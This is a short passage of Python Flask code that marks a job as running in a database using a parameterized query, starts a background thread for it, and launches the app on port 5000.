db.execute("UPDATE jobs SET status='running' WHERE id=?", (order_id,)); db.commit()
threading.Thread(target=run_job, args=(order_id,), daemon=True).start()
return "ok", 200
if __name__ == "__main__":
init_db()
app.run(host="0.0.0.0", port=5000)